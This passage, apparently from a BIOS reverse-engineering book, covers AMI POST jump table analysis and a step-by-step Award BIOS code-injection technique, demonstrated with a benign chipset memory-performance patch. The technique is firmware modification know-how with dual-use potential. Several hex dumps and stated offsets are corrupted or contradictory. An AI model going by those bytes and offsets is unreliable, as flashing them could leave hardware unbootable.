        PatchByte(dest_ptr, Byte(src_ptr));

        src_ptr = src_ptr + 1;
        dest_ptr = dest_ptr + 1;
        module_size = module_size - 1;
    }
}

/* no_relocation */

module_cnt = module_cnt - 1;

/* push 0F000h; pop ds */

_eax = Dword(EA_DEST_SEG);
PatchDword([0xF000, 0x8020], _eax);
PatchDword([0x2EF6, 0x77C], _eax);
str = form("2EF6:77Ch = %Xh \n", Dword([0x2EF6, 0x77C]));
Message(str);

_eax = 0x100000 - _eax;
PatchDword([0x2EF6, 0x780], _eax);
str = form("2EF6:780h = %Xh \n", Dword([0x2EF6, 0x780]));
Message(str);
return 0;
}
After the BIOS modules' relocation takes place, the execution continues to initialize some PCI configuration register. The routine initializes the chipset registers that control the BIOS shadowing task to prepare for the POST execution. The boot block execution ends here, and the system BIOS execution starts at the jump into the \texttt{Execute\_POST}. I dissect this function in the next subsection.

5.2.4. AMI System BIOS Reverse Engineering

The system BIOS for this particular AMI BIOS is reverse engineered by analyzing its POST jump table execution. The execution of the POST jump table starts with a far jump to the \texttt{2771h} segment from the interface module, as shown in listing 5.43.

**Listing 5.43 POST Jump Table Execution**

```
1352:0044 mov sp, 4000h
1352:0047 jmp far ptr Execute\_POST ; exec POST
...........
2771:3731 Execute\_POST:
2771:3731 cli
2771:3732 cld
2771:3733 call init\_ds\_ea\_fs\_gs
2771:3736 call init\_interrupt\_vector
2771:3739 mov si, offset POST\_jump\_table
2771:373c
2771:373c next\_POST\_routine: ; ...
2771:373c push eax
2771:373e mov eax, cs:[si+2]
2771:3743 mov fs:POST_routine\_addr, eax
2771:3748 mov ax, cs:[si]
2771:374b mov fs:POST\_code, ax
2771:374f cmp ax, 0FFFFh
2771:3752 jz short no\_POST\_code\_processing
2771:3754 mov fs:POST\_code, ax
2771:3758 call process\_POST\_code
2771:375d no\_POST\_code\_processing: ; ...
2771:375d pop eax
2771:375f xchg si, cs:tmp
2771:3764 call _exec\_POST\_routine
2771:3769 xchg si, cs:tmp
2771:376e add si, 6
2771:3771 cmp si, 342h ; Do we reach the end of POST
2771:3771 ; jump table?
2771:3775 jb short next\_POST\_routine
2771:3777 hlt ; Halt the machine in case of
2771:3777 ; POST failure
...........
```
Before POST jump table execution, the routine at segment 2771h initializes all segment registers that will be used, and it initializes the preliminary interrupt routine. This task is shown in listing 5.44.

### Listing 5.44 Initializing Segment Registers before POST Execution
```
2771:293F  init_ds_es_fs_gs proc near      ; ...
2771:293F  push  40h ; '@'
2771:2942  pop   ds
2771:2943  push  0
2771:2945  pop   es
2771:2946  push  2EF6h
2771:2949  pop   fs
2771:294B  push  0F000h
2771:294E  pop   gs
2771:2950  retn
2771:2950  init_ds_es_fs_gs endp
```

The POST jump table is located in the beginning of segment 2771h, as shown in listing 5.45.

### Listing 5.45 POST Jump Table
```
2771:0000  POST_jump_table dw 3    ; ...
2771:0000  ; POST code : 3h
2771:0002  dd 2771377Eh           ; POST routine at 2771:377Eh
2771:0006  dw 4003h               ; POST code : 4003h
2771:0008  dd 27715513h           ; POST routine at 2771:5513h (dummy)
2771:000C  dw 4103h               ; POST code : 4103h
2771:000E  dd 27715B75h           ; POST routine at 2771:5B75h (dummy)
2771:0012  dw 4203h               ; POST code : 4203h
2771:0014  dd 2771551Ah           ; POST routine at 2771:551Ah (dummy)
2771:0018  dw 5003h               ; POST code : 5003h
2771:001A  dd 27716510h           ; POST routine at 2771:6510h (dummy)
2771:001E  dw 4                   ; POST code : 4h
2771:0020  dd 27712A3Fh           ; POST routine at 2771:2A3Fh
2771:0024  dw ?                   ; POST code : FFFFh
2771:0026  dd 27712AFEh           ; POST routine at 2771:2AFEh
2771:002A  dw ?                   ; POST code : FFFFh
2771:002C  dd 27714530h           ; POST routine at 2771:4530h
2771:0030  dw 5                   ; POST code : 5h
2771:0032  dd 277138B4h           ; POST routine at 2771:38B4h
2771:0036  dw 6                   ; POST code : 6h
2771:0038  dd 27714540h           ; POST routine at 2771:4540h
2771:003C  dw ?                   ; POST code : FFFFh
2771:003E  dd 277145D5h           ; POST routine at 2771:45D5h
2771:0042  dw 7                   ; POST code : 7h
2771:0044  dd 27710A10h           ; POST routine at 2771:0A10h
2771:0048  dw 7                   ; POST code : 7h
```

100
Note that I'm not showing the entire POST jump table in listing 5.45. To analyze the POST jump table entries semiautomatically, you can use the IDA Pro script shown in listing 5.46.

Listing 5.46 POST Jump Table Analyzer Script

```c
#include <idc.idc>

static main(void) {
    auto ea, func_addr, str, POST_JMP_TABLE_START, POST_JMP_TABLE_END;

    POST_JMP_TABLE_START = [0x2771, 0];
    POST_JMP_TABLE_END = [0x2771, 0x342];

    ea = POST_JMP_TABLE_START;

    while(ea < POST_JMP_TABLE_END) {
        /* Make some comments */
        MakeWord(ea);
        str = form("POST code : %Xh", Word(ea));
        MakeComm(ea, str);

        MakeDword(ea+2);
        str = form("POST routine at %04X:%04Xh", Word(ea+4), Word(ea+2));
        MakeComm(ea+2, str);

        str = form("processing POST entry @ 2771:%04Xh\n", ea - 0x27710 );
        Message(str);

        /* Parse POST entries */
        func_addr = (Word(ea+4) << 4) + Word(ea+2);
        AutoMark(func_addr,AU_CODE);
        AutoMark(func_addr,AU_PROC);
        Wait();

        /* Modify comment for dummy POST entries */
        if( Byte(func_addr) == 0xCB)
            { str = form("POST routine at %04X:%04Xh (dummy)\n", Word(ea+4), Word(ea+2));
        }
    }
```

The POST entries marked as "dummy" in listing 5.46 don't accomplish anything; they merely return by executing the retf instruction when they execute. From this point on, system BIOS reverse engineering is trivial because you have already marked and done some preliminary analysis on those POST jump table entries. I am not going to delve into it because it would take too much space in this book. You only need to follow this POST jump table execution to analyze the system BIOS.
Chapter 6 BIOS Modification

PREVIEW

This chapter delves into the principles and mechanics of BIOS modification. It puts together all of the technology that you learned in previous chapters into a proof of concept. Here I demystify the systematic BIOS modification process that only a few have conquered. I focus on Award BIOS modification.

6.1. Tools of the Trade

You are only as good as your tools. This principle also holds true in the realm of BIOS modification. Thus, start by becoming acquainted with the modification tools. The tools needed to conduct an Award BIOS modification are as follows:

1. **Disassembler: IDA Pro disassembler.** A disassembler is used to comprehend the BIOS binary routine to find the right place to carry out the modification. The IDA Pro freeware version is available as a free download at http://www.dirfile.com/ida_pro_freeware_version.htm.
2. **Hex editor: Hex Workshop version 4.23.** The most beneficial feature of Hex Workshop is its capability to calculate checksums for the selected range of file that you open inside of it. You will use this tool to edit the BIOS binary. However, you can use another hex editor for the binary editing purposes.
3. **Assembler: FASMW.** FASMW is freeware and available for download at http://flatassembler.net in the download section.
4. **Modbin.** There are two types of modbin, modbin6 for Award BIOS version 6.00PG and modbin 4.50.xx for Award BIOS version 4.5xPG. You need this tool to look at the Award BIOS components and to modify the system BIOS. You can download it at http://www.biosmods.com in the download section. This tool also used to ensure that the checksum of the modified BIOS is corrected after the modification. Modbin is not needed if you don't want to do modification to the system BIOS. In this chapter, you need modbin because you are going to modify the system BIOS.
5. **Cbrom.** This tool is used to view the information about the components inside an Award BIOS binary. It's also used to add and remove components from the Award BIOS binary. Cbrom is available freely at http://www.biosmods.com in the download section. Note that there are many versions of Cbrom. I can't say exactly which one you should be using. Try the latest version if you are modifying Award BIOS version 6.00PG; otherwise, try an older version. Cbrom is not needed if you don't want to do modification to the system BIOS.

---

1 The windows version of FASM.
only modify the system BIOS and don't touch the other components in the Award BIOS binary.

6. **Chipset datasheets.** They are needed if you want to build a patch for the corresponding chipset setting. Otherwise, you don't need it. For the purpose of the sample modification in this chapter, you need the VIA 693A datasheet. It's available for download at [http://www.rom.by](http://www.rom.by) in the PDF section.

There is one more BIOS tool resource on the Internet that I haven't mention. It's called Borg number one's BIOS tool collection, or BNOBTC for short. It is the most complete BIOS tool collection online. However, its uniform resource locator (URL) sometimes moves from one host to another. Thus, you may want to use Google to find its latest URL.

You learned about the IDA Pro disassembler, FASM, and hex editor in the previous chapters. Thus, modbin, cbrom, and the chipset datasheet remain. I explore them one by one.

Start with modbin. Modbin is a console-based utility to manipulate Award system BIOS. You know that there are two flavors of modbin, one for each Award BIOS version. However, the usage of these tools are similar, just load the BIOS file into modbin and modify the system BIOS with it. Moreover, there is one "undocumented feature" of modbin that's useful for BIOS modification purposes: during modbin execution; when you start to modify the BIOS binary that's currently loaded, modbin will generate some temporary files. These temporary files are Award BIOS components. They are extracted by modbin from the BIOS binary file. Each of the two types of modbin generates different kinds of temporary files. However, both versions extract the system BIOS. Both also pack all temporary files into one valid Award BIOS binary when you save changes in modbin. Here are the details:

1. **Modbin version 4.50.80C extracts the following components from an Award BIOS version 4.50PG binary:**
   a. **Bios.rom.** It is the compressed version of last 128 KB of the BIOS file. It contains the compressed original.tmp, the boot block, and the decompression block.
   b. **Original.tmp.** It is the decompressed system BIOS.

The execution of modbin 4.50.80C is shown in figure 6.1.
2. Modbin version 2.01 extracts the following components from an Award BIOS version 6.00PG binary:
   a. Mlstring.bin. It is the compressed version of _encode.bin.
   b. Original.bin. It is the decompressed system BIOS.
   c. Xgroup.bin. It is the decompressed system BIOS extension.
   The execution of modbin 2.01 is shown in figure 6.2.

   Modbin might extract even more components than those previously described. However, I am only interested in the extracted system BIOS and system BIOS extension, since both provide you with the opportunity to modify the core BIOS code flawlessly.

   Figures 6.1 and 6.2 show the existence of the temporary decompressed Award BIOS components at runtime. Thus, during the existence of these temporary files, you can edit the
temporary system BIOS (original.tmp or original.bin). The net effect of modifying this binary will be applied to the overall BIOS binary when you save all changes and exit modbin. Modbin is working "under the hood" to compress the modified temporary system BIOS into the BIOS binary that you saved. Now can you see the pattern? It is a neat way to modify the system BIOS. You don't have to worry about the checksums, either. Modbin will fix them. Here is a system BIOS modification technique that I've tested; it works flawlessly:

1. Open the BIOS binary to be patched with modbin.
2. Open the temporary system BIOS (original.tmp or original.bin), generated by step 1, in the hex editor and subsequently patch it with the hex editor. At this point, you can also copy the decompressed system BIOS to another directory to be examined with disassembler. Remember that at this point modbin must stay open or active.
3. Save the changes and close modbin.

Note that both versions of modbin work flawlessly in Windows XP service pack 2 and under normal usage; modbin enables you to change BIOS settings, unhide options, setting default values, etc. I won't delve into it because it's easy to become accustomed to.

The next tool to learn is cbrom. There are several versions of cbrom. All of them related functions: to insert a BIOS component, to extract a BIOS component, to move a BIOS component or to display information about components inside an Award BIOS binary. However, there is one thing that you must note: cbrom cannot extract or insert the system BIOS, but it can extract or insert the system BIOS extension. Cbrom is often used in accordance with modbin; cbrom is used to manipulate components other than the system BIOS, and modbin is used to manipulate the system BIOS. Cbrom is also a console-based utility. Now, see how it works.

Figure 6.3 Cbrom command options
Figure 6.3 shows the commands applicable to cbrom. Displaying the options or help in cbrom is just like in DOS days; just type `/?` to see the options and their explanation.

Now, get into a little over-the-edge cbrom usage. Remove and reinsert the system BIOS extension in Iwill VD133 BIOS. This BIOS is based on Award BIOS version 4.50PG code. Thus, its system BIOS extension is decompressed into segment $4100h$ during POST, not to segment $1000h$ as you saw in chapter 5, when you reverse engineered Award BIOS. Here is an example of how to release the system BIOS extension from this particular BIOS binary using cbrom in a windows console:

```
E:\BIOS_M-1>CBROM207.EXE VD30728.BIN /other 4100:0 release
CBROM V2.07 (C)Award Software 2000 All Rights Reserved.
[Other] ROM is release
E:\BIOS_M-1>
```

Note that the system BIOS extension is listed as the "other" component. Now, see how you insert the system BIOS extension back to the BIOS binary:

```
E:\BIOS_M-1>CBROM207.EXE VD30728.BIN /other 4100:0 awardext.rom
CBROM V2.07 (C)Award Software 2000 All Rights Reserved.
Adding awardext.rom .. 66.7%
E:\BIOS_M-1>
```

So far, I've been playing with cbrom. The rest is just more exercise to become accustomed with it.

Proceed to the last tool, the chipset datasheet. Reading a datasheet is not a trivial task for a beginner to hardware hacking. The first thing to read is the table of contents. However, I will show you a systematic approach to reading the chipset datasheet efficiently:

1. Go to the table of contents and notice the location of the chipset block diagram. The block diagram is the first thing that you must comprehend to become accustomed to the chipset datasheet. And one more thing to remember: you have to be acquainted with the bus protocol, or at least know the configuration mechanism, that the chipset uses.
2. Look for the system address map for the particular chipset. This will lead you to system-specific resources and other important information regarding the address space and I/O space usage in the system.
3. Finally, look for the chipset register setting explanation. The chipset register setting will determine the overall performance of the motherboard when the BIOS has been executed. When a bug occurs in a motherboard, it's often the chipset register value initialization that causes the trouble.

You may want to look for additional information. In that case, just proceed on your own.
Once you have read and can comprehend some chipset datasheets, it will be much easier to read and comprehend a new chipset datasheet. Reading a chipset datasheet is necessary when you want to develop a certain patch that modifies the chipset register setting during POST or after POST, before the operating system is loaded.

Now, you have completed the prerequisites to modify the BIOS. The next section will delve into the details of Award BIOS modification.

6.2. Code Injection

Code injection is an advanced BIOS modification technique. As the name implies, this technique is accomplished by injecting code to the BIOS. This section focuses on injected code that will be executed during the boot process, when the BIOS is executed to initialize the system. There are several techniques to inject code in Award BIOS:

1. Patch the POST jump table in the system BIOS to include a jump into a customized or injected routine. This technique is portable among the different versions of Award BIOS. Thus, this is the primary modification technique in this chapter.

2. Redirect one of the jumps in the boot block into the custom injected procedure. In this case, the injected procedure is also placed in the boot block. However, this technique has some drawbacks, i.e., the padding bytes in the boot block area are limited. Thus, the injected code must fit in the limited space. Moreover, you can't inject code that uses stack because stack is unavailable during boot block execution. Thus, I won't delve into this technique here.

3. Build an ISA expansion ROM and insert it into the BIOS binary by using cbrom. This technique works fine for older Award BIOS versions, mostly version 4.50PG. It works in Award BIOS version 6.00PG but not in all versions. Thus, it cannot be regarded as portable. Moreover, it has some issues with a system that has modified BIOS. Thus, I won't delve into it.

From now on, you will learn the technique to patch the POST jump table. Recall from section 5.1.3.2 that there is a jump table called the POST jump table in the system BIOS. The POST jump table is the jump table used to call POST routines during system BIOS execution.

The basic idea of the code injection technique is to replace a "dummy" entry in the POST jump table with an offset into a custom-made procedure that you place in the padding-bytes section of the system BIOS. The systematic steps of this technique are as follows:

2 Code injection is adding a custom-made code into an executable file.
3 There are two major revision of Award BIOS code, i.e., Award BIOS version 4.50PG and Award BIOS version 6.00PG. There is also a rather unclear version of Award BIOS code that's called Award BIOS version 6. However, Award BIOS version 6 is not found in recent Award BIOS binary releases.
1. Reverse engineer the Award BIOS with IDA Pro disassembler to locate the POST jump table in the system BIOS. It's recommended that you start the reverse engineering process in the boot block and proceed to the system BIOS. However, as a shortcut, you can jump right into the entry point of the decompressed system BIOS at F000:F80Dh.

2. Analyze the POST jump table; find a jump to dummy procedure. If you find one, continue to next step; otherwise, stop here because it's not possible to carry out this code injection method in the BIOS.

3. Assemble the custom procedure using FASMW. Note the resulting binary size. Try to minimize the injected code size to ensure that the injected code will fit into the "free space" of the system BIOS. The "free space" is the padding-bytes section of the system BIOS.

4. Use modbin to extract the genuine system BIOS from the BIOS binary file.

5. Use hex editor to analyze the system BIOS to look for padding bytes, where you can inject code. If you don't find a suitable area, you're out of luck and cannot proceed to injecting code. However, the latter is the seldom case.

6. Inject the assembled custom procedure to the extracted system BIOS by using the hex editor.

7. Use a hex editor to modify the POST jump table to include a jump to the procedure.

8. Use modbin to pack the modified system BIOS into the BIOS binary.

9. Flash the modified BIOS binary to the motherboard.

As a sample code-injection case study, I will show you how to build a patch for Iwill VD133 motherboard BIOS. The BIOS date is July 28, 2000, and the file name is vd30728.bin. A motherboard is based on the VIA 693A-596B chipset. This patch has been tested thoroughly and works perfectly. The BIOS of this motherboard is based on the older Award BIOS version 4.50PG code. However, as you have learned, this code injection procedure is portable among Award BIOS versions because all versions use the POST jump table to execute POST. Proceed as explained in the code injection steps earlier.

### 6.2.1. Locating the POST Jump Table

I won't go into detail explaining how to find the POST jump table in Award BIOS version 4.50PG. It's a trivial task after you've learned the Award BIOS reverse engineering procedure detailed in the previous chapter. One hint, though: decompress the system BIOS and go directly to the system BIOS entry point at F000:F80Dh to start searching for the POST jump table. You will find the POST jump table shown in listing 6.1.

#### Listing 6.1 Iwill VD133 POST Jump Table

<table>
<thead>
<tr>
<th>E000:61C2 Begin_E000_POST_Jmp_Table</th>
</tr>
</thead>
<tbody>
<tr>
<td>E000:61C2 dw 154Eh                 ; Restore warm-boot flag</td>
</tr>
</tbody>
</table>
6.2.2. Finding a Dummy Procedure in the POST Jump Table

As seen in listing 6.1, Iwill VD133 system BIOS contains some dummy procedures. Thus, this step is completed.

6.2.3. Assembling the Injected Code
Listing 6.2 is the source code of the procedure that I inject into the Iwill VD133 BIOS. It’s in FASM syntax.

Listing 6.2 VIA 693A Chipset Patch Source Code in FASM Syntax

```
; ---------------------- file: mem_optimize.asm -------------------------
use16
start:
pushf
cli
  mov  cx, 0x50           ; Patch the in-order queue register of
                        ; the chipset
  call Read_PCI_Bus0_Byte
  or   al, 0x80
  mov  cx, 0x50
  call Write_PCI_Bus0_Byte
  mov  cx, 0x64           ; DRAM Bank 0/1 Interleave = 4 way
  call Read_PCI_Bus0_Byte
  or   al, 2
  mov  cx, 0x64
  call Write_PCI_Bus0_Byte
  mov  cx, 0x65           ; DRAM Bank 2/3 Interleave = 4 way
  call Read_PCI_Bus0_Byte
  or   al, 2
  mov  cx, 0x65
  call Write_PCI_Bus0_Byte
  mov  cx, 0x66           ; DRAM Bank 4/5 Interleave = 4 way
  call Read_PCI_Bus0_Byte
  or   al, 2
  mov  cx, 0x66
  call Write_PCI_Bus0_Byte
  mov  cx, 0x67           ; DRAM Bank 6/7 Interleave = 4 way
  call Read_PCI_Bus0_Byte
  or   al, 2
  mov  cx, 0x67
  call Write_PCI_Bus0_Byte
  mov  cx, 0x68           ; Allow pages of different banks to be
                        ; active simultaneously
  call Read_PCI_Bus0_Byte
  or   al, 0x44
  mov  cx, 0x68
  call Write_PCI_Bus0_Byte
```
mov cx, 0x69          ; Fast DRAM precharge for different banks
call Read_PCI_Bus0_Byte
or al, 0x8
mov cx, 0x69
call Write_PCI_Bus0_Byte

mov cx, 0x6C          ; Activate Fast TLB lookup
call Read_PCI_Bus0_Byte
or al, 0x8
mov cx, 0x6C
call Write_PCI_Bus0_Byte

popf

clc              ; Indicate that this POST routine was successful
retn             ; Return near next POST entry

; -- Read_PCI_Bus0_Byte --
; in: cx = dev_func_offset_addr
; out: al = reg_value

Read_PCI_Bus0_Byte:
    mov ax, 8000h
    shl eax, 10h
    mov ax, cx
    and al, 0FCh
    mov dx, 0CF8h
    out dx, eax
    mov dl, 0FCh
    mov al, cl
    and al, 3
    add dl, al
    in al, dx
    retn

; -- Write_Bus0_Byte --
; in: cx = dev_func_offset_addr
;   al = reg_value to write

Write_PCI_Bus0_Byte:
    xchg ax, cx
    shl ecx, 10h
    xchg ax, cx
    mov ax, 8000h
    shl eax, 10h
    mov ax, cx
    and al, 0FCh
    mov dx, 0CF8h
    out dx, eax
    add dl, 4
    or dl, cl
The patch source code in FASMW is assembled by pressing `CTRL+F9`; it's as simple as that. The result of assembling this procedure is a binary file that, when viewed with Hex Workshop, looks like hex dump 6.1.

Hex dump 6.1 VIA 693A Chipset Patch

<table>
<thead>
<tr>
<th>Address</th>
<th>Hexadecimal Value</th>
<th>ASCII Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>9CFA B950 00E8 6000 0C80 B950 00E8 7F00</td>
<td>...P...m...P....</td>
</tr>
<tr>
<td>00000010</td>
<td>0008 5F00 0C02 B964 00E8 7100 B965</td>
<td>...d...d...q...e</td>
</tr>
<tr>
<td>00000020</td>
<td>00E8 5100 0C02 B965 00E8 6300 B966 00E8</td>
<td>..Q...e...f...</td>
</tr>
<tr>
<td>00000030</td>
<td>4300 0C02 B966 00E8 5500 B967 00E8 3500</td>
<td>C...U...g...5.</td>
</tr>
<tr>
<td>00000040</td>
<td>0C02 B967 00E8 4700 B968 00E8 2700 OC44</td>
<td>...g...h...&quot;D</td>
</tr>
<tr>
<td>00000050</td>
<td>B968 00E8 3900 B969 00E8 1900 0C08 B969</td>
<td>.h...i...i...</td>
</tr>
<tr>
<td>00000060</td>
<td>00E8 2B00 B96C 00E8 0B00 0C08 B96C 00E8</td>
<td>.+...1...</td>
</tr>
<tr>
<td>00000070</td>
<td>1D50 9E8 0808 66C1 E010 B968 24FC</td>
<td>...f...</td>
</tr>
<tr>
<td>00000080</td>
<td>BAF8 0C66 EF80 C204 08CA 6689 C866 C1E8</td>
<td>...f...f...</td>
</tr>
<tr>
<td>00000090</td>
<td>3900 B969 00E8 1900 0C08 B969</td>
<td>.h...i...i...</td>
</tr>
<tr>
<td>00000100</td>
<td>00E8 2B00 B96C 00E8 0B00 0C08 B96C 00E8</td>
<td>.+...1...</td>
</tr>
<tr>
<td>00000110</td>
<td>1D50 9E8 0808 66C1 E010 B968 24FC</td>
<td>...f...</td>
</tr>
<tr>
<td>00000120</td>
<td>BAF8 0C66 EF80 C204 08CA 6689 C866 C1E8</td>
<td>...f...f...</td>
</tr>
</tbody>
</table>

I won't dwell on a line-by-line explanation because listing 6.2 is properly commented. I will just explain the big picture of the functionality of the code. Listing 6.2 is a patch to improve the performance of the memory subsystem of the VIA 693A chipset. It initializes the memory controller of VIA 693A to a high performance setting. One thing to note in the listing 6.2 that to appropriately initialize a PCI chipset such as VIA 693A, it's not enough to relax the read and write timing from and to the chipset in the code. More importantly, you have to initialize only one register at a time to minimize the "sudden load" on the chipset during the initialization process. This is especially true for performance-related registers within the chipset. If you fail to do so, it's possible that the patch will make the system unstable.

6.2.4. Extracting the Genuine System BIOS

Extracting the genuine system BIOS that you will modify is easy. Simply load the corresponding BIOS binary file (vd30728.bin) in modbin, as you learned in section 6.1. You will need to use modbin version 4.50.80C to do that. Once the binary is loaded in modbin 4.50.80C, the system BIOS will be automatically extracted to the same directory as the BIOS binary and will be named original.tmp. However, you have to pay attention to avoid closing modbin before the modification to the system BIOS with third-party tools is
6.2.5. Looking for Padding Bytes

Finding padding bytes in Award system BIOS is quite easy; just look for block of FFFh bytes. In Award BIOS version 4.50PG code, the padding bytes are located near the end of the first segment\(^4\) of the system BIOS. Note that the first segment of the system BIOS is mapped into the E000h segment during POST execution and that the POST jump table is located in this segment. Thus, code that's injected in this segment can be called by placing the appropriate offset address into the POST jump table. Now, view these padding bytes from within Hex Workshop.

<table>
<thead>
<tr>
<th>Address</th>
<th>Hexadecimal Value</th>
<th>ASCII Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0000EFD0</td>
<td>C300 0000 0000 0000 0000 0000 0000 0000 ...............</td>
<td>................</td>
</tr>
<tr>
<td>0000EFE0</td>
<td>C300 0000 0000 0000 0000 0000 0000 0000 ...............</td>
<td>................</td>
</tr>
<tr>
<td>0000EFF0</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF FFFF ...............</td>
<td>................</td>
</tr>
<tr>
<td>0000F000</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF ...............</td>
<td>................</td>
</tr>
<tr>
<td>0000F010</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF ...............</td>
<td>................</td>
</tr>
<tr>
<td>0000F020</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF ...............</td>
<td>................</td>
</tr>
<tr>
<td>0000F030</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF ...............</td>
<td>................</td>
</tr>
<tr>
<td>0000F040</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF ...............</td>
<td>................</td>
</tr>
<tr>
<td>0000F050</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF ...............</td>
<td>................</td>
</tr>
<tr>
<td>0000F060</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF ...............</td>
<td>................</td>
</tr>
<tr>
<td>0000F070</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF ...............</td>
<td>................</td>
</tr>
<tr>
<td>0000F080</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF ...............</td>
<td>................</td>
</tr>
<tr>
<td>0000F090</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF ...............</td>
<td>................</td>
</tr>
<tr>
<td>0000F0A0</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF ...............</td>
<td>................</td>
</tr>
<tr>
<td>0000F0B0</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF ...............</td>
<td>................</td>
</tr>
</tbody>
</table>

The bytes with FFFh values in the preceding hex dump are the padding bytes that will replace the custom patch.

6.2.6. Injecting the Code

Before injecting code into the system BIOS, you must ensure that there are enough consecutive padding bytes to be replaced by the injected code. If you compare hex dump 6.2 and hex dump 6.1, it's clear that there are enough padding bytes. You only need B3h bytes to replace in the system BIOS to inject the procedure, and hex dump 6.2 shows more

---

\(^4\) The first segment refers to the first 64 KB.
padding bytes than that. Now, compare the hex dump before (hex dump 6.2) and after (hex dump 6.3) the injection of the code.

### Hex dump 6.3 VD30728.bin System BIOS after Code Injection

<table>
<thead>
<tr>
<th>Address</th>
<th>Hexadecimal values</th>
<th>ASCII</th>
</tr>
</thead>
<tbody>
<tr>
<td>0000EFDO</td>
<td>C300 0000 0000 0000 0000 0000 0000 0000</td>
<td>................</td>
</tr>
<tr>
<td>0000EFE0</td>
<td>C300 0000 0000 0000 0000 0000 0000 0000</td>
<td>................</td>
</tr>
<tr>
<td>0000EFF0</td>
<td>0CFA B950 00E8 6D00 0C80 B950 00E8 7F00</td>
<td>...F..m..P....</td>
</tr>
<tr>
<td>0000F000</td>
<td>B964 00E8 5F00 0C02 B964 00E8 7100 B965</td>
<td>..d....d..q..e</td>
</tr>
<tr>
<td>0000F010</td>
<td>00E8 5100 0C02 B965 00E8 6300 B966 00E8</td>
<td>...Q....e..c..f..</td>
</tr>
<tr>
<td>0000F020</td>
<td>4300 0C02 B966 00E8 5500 B967 00E8 3500</td>
<td>C.....f..U..g..5.</td>
</tr>
<tr>
<td>0000F030</td>
<td>0C02 B967 00E8 4700 B968 00E8 2700 OC44</td>
<td>...g..G..h..'..D</td>
</tr>
<tr>
<td>0000F040</td>
<td>B968 00E8 3900 B969 00E8 1900 0C08 B969</td>
<td>.h..9..i.......i</td>
</tr>
<tr>
<td>0000F050</td>
<td>00E8 2B00 B96C 00E8 0B00 0C08 B96C 00E8</td>
<td>..+..l........l..</td>
</tr>
<tr>
<td>0000F060</td>
<td>1D00 9DF8 C3B8 0080 66C1 E010 89C8 24FC</td>
<td>........f.....$</td>
</tr>
<tr>
<td>0000F070</td>
<td>0B8E 0C66 EF82 FC88 C824 0300 C2EC C391</td>
<td>...f....$......</td>
</tr>
<tr>
<td>0000F080</td>
<td>66C1 E110 91B8 0080 66C1 E010 89C8 24FC</td>
<td>f........f.....$</td>
</tr>
<tr>
<td>0000F090</td>
<td>0B8E 0C66 EF80 C204 08CA 6689 C866 C1E8</td>
<td>...f......f....f</td>
</tr>
<tr>
<td>0000F0A0</td>
<td>0B8E C3FF FFFF FFFF FFFF FFFF FFFF FFFF</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFFFFFF</td>
</tr>
<tr>
<td>0000F0B0</td>
<td>FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF</td>
<td>FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF</td>
</tr>
</tbody>
</table>

The hex values highlighted in red in hex dump 6.3 are the injected code that replaces the padding bytes.

### 6.2.7. Modifying the POST Jump Table

Modifying the POST jump table is an easy task. Just look at the location of the previously injected code and place the offset address of the injected code into the dummy POST jump table entry. However, I must emphasize that this method works only for code that's injected into the first segment of the system BIOS binary. This is because the POST jump table entries only contain the 16-bit offset addresses of the corresponding POST procedures.

Now, let’s get down to the details. As shown in hex dump 6.3, the injected code entry point is at offset EF00h in the first segment of the system BIOS. In addition, you know that the POST jump table is located in the same segment as the injected code. Thus, all you have to do is to replace one of the dummy-procedure offsets in the POST jump table with the EF00h value. To do so, replace the dummy procedure call offset at address

---

5 The POST procedures are located in the same segment as the POST jump table.

6 As per the “Award System BIOS Reverse Engineering” section in previous chapter, you know that the POST jump table is located in segment E000h, the first segment of the Award system BIOS (original.tmp or original.bin).
E000:61DCh, shown in listing 6.1, with the E000h value (the injected procedure entry point offset). The result of this action is shown in listing 6.3.

### Listing 6.3 Modified POST Jump Table Disassembly

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>E000:61C2</td>
<td>dw 154Eh</td>
<td>Restore warm-boot flag</td>
</tr>
<tr>
<td>E000:61C4</td>
<td>dw 156Fh</td>
<td>Dummy procedure</td>
</tr>
<tr>
<td>E000:61C6</td>
<td>dw 1571h</td>
<td>Initialize keyboard controller and halt on error</td>
</tr>
<tr>
<td>E000:61C8</td>
<td>dw 16D2h</td>
<td>1. Check Fseg in RAM; beep on error</td>
</tr>
<tr>
<td>E000:61CA</td>
<td>dw 1745h</td>
<td>2. Identify FlashROM chip</td>
</tr>
<tr>
<td>E000:61CC</td>
<td>dw 178Ah</td>
<td>Check CMOS circuit</td>
</tr>
<tr>
<td>E000:61CE</td>
<td>dw 1798h</td>
<td>1. Init CPU flags</td>
</tr>
<tr>
<td>E000:61CE</td>
<td>dw 17B8h</td>
<td>2. Disable A20</td>
</tr>
<tr>
<td>E000:61D0</td>
<td>dw 194Bh</td>
<td>1. Initialize FPU</td>
</tr>
<tr>
<td>E000:61D0</td>
<td>dw 1ABCh</td>
<td>2. Initialize microcode (init CPU)</td>
</tr>
<tr>
<td>E000:61D0</td>
<td>dw 1DC8h</td>
<td>3. Initialize FSB (clock gen)</td>
</tr>
<tr>
<td>E000:61D0</td>
<td>dw 1ADAh</td>
<td>4. Initialize W87381D VID regs</td>
</tr>
<tr>
<td>E000:61D4</td>
<td>dw 1B88h</td>
<td>1. Initialize interrupt vector</td>
</tr>
<tr>
<td>E000:61D6</td>
<td>dw 1B08h</td>
<td>2. Initialize &quot;signatures&quot; used for Ext_BIOS components decompression</td>
</tr>
<tr>
<td>E000:61D8</td>
<td>dw 1DC8h</td>
